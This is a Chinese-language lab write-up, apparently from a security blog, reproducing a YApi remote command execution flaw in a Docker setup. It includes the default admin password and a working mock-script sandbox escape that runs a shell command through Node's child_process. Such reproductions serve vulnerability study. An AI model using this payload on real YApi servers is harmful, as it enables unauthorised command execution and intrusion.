Yapi远程命令执行漏洞复现
2021-07-14 11:52:42 Author: www.secpulse.com(查看原文) 阅读量:98 收藏

基础知识

YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI旨在为开发、产品和测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布和维护不同项目,不同平台的API。YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

漏洞成因

YAPI使用mock数据/脚本作为中间交互层,其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。

环境搭建

利用docker 来搭建漏洞环境,docker yyds

# 获取 Yapi 镜像,版本信息可在 阿里云镜像仓库 查看
sudo docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
# 创建挂载目录
sudo mkdir -p /data/yapi/mongodata
# 运行专用mongo
sudo docker run --restart always -v /data/yapi/mongodata:/data/db -d --name yapimongo mongo
# 初始化 Yapi 数据库索引及管理员账号
sudo docker run -it --rm --link yapimongo:mongo --entrypoint npm --workdir /api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server
# 启动 Yapi 服务
sudo docker run -d  --restart=always --name yapi  --link yapimongo:mongo --workdir /api/vendors  -p 3000:3000  registry.cn-hangzhou.aliyuncs.com/anoy/yapi  server/app.js

安装启动成功之后访问

访问 http://localhost:3000   登录账号 [email protected],密码 ymfe.org

20210713104142.png

漏洞复现

利用已知账号登录 Yapi

20210713104640.png

添加项目

20210713104714.png

20210713104846.png

选择设置,设置 全局mock脚本

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

20210713105208.png

此时需要添加一个接口

20210713105716.png

20210713105808.png

访问 Mock 地址 http://192.168.153.131:3000/mock/11/testing  就可以看到命令执行成功

20210713105921.png

修复建议

似乎比较好的修复建议就是禁用掉注册功能,因为Yapi已经并不维护更新了,所以可以尝试在出CTF 题目时,结合弱口令以及命令执行,作为进入内网的一个突破口。

本文作者:Whippet

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/162502.html


文章来源: https://www.secpulse.com/archives/162502.html
如有侵权请联系:admin#unsafe.sh